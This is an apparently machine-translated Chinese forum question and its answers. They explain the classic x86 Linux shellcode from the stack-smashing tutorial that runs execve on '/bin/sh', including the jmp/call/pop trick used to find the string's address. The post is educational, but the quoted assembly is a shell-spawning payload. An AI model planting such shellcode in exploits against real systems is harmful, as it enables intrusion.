2012-08-06 47 views
0
jmp 0x2a      # 3 bytes 
    popl %esi      # 1 byte 
    movl %esi,0x8(%esi)   # 3 bytes 
    movb $0x0,0x7(%esi)   # 4 bytes 
    movl $0x0,0xc(%esi)   # 7 bytes 
    movl $0xb,%eax    # 5 bytes 
    movl %esi,%ebx    # 2 bytes 
    leal 0x8(%esi),%ecx   # 3 bytes 
    leal 0xc(%esi),%edx   # 3 bytes 
    int $0x80     # 2 bytes 
    movl $0x1, %eax    # 5 bytes 
    movl $0x0, %ebx    # 5 bytes 
    int $0x80     # 2 bytes 
    call -0x2f     # 5 bytes 
    .string \"/bin/sh\"    # 8 bytes 

這麼跳然後叫「串地址將被壓入堆棧作爲 返回地址」。這個地址保存在esi爲什麼pop esi?砸堆棧的樂趣和利潤,代碼執行順序

+1

這個問題有什麼意義? – 2012-08-06 23:02:00

回答

1

這是編寫position-independent code(可以成功執行的代碼,無論它位於何處)的常用方法。

call指令做了兩兩件事:

  1. 將返回地址(該指令的立即呼叫之後的地址)壓入堆棧
  2. 跳轉到指定的地址。

所以在調用之後,字符串「/ bin/sh」的地址在堆棧中。下一條指令pop esi將該地址從堆棧中取出,並將其放入esi寄存器,以便可以使用。

0

那麼,當執行call時,它會將返回地址(調用操作碼之後的地址)推入堆棧,以便在遇到ret(正常操作)時,執行繼續停止。這是標準的x86調用約定。

在您的代碼中,推送的返回地址是「/ bin/sh」的位置。 pop %esi將該值放入esi寄存器中,然後將其作爲指針傳遞給系統調用0xb,這是在linux系統上的execve,執行命令在您的字符串中命名的命令。

x86 calling conventions有很多很好的資源,其中我期望linux x86對你特別感興趣。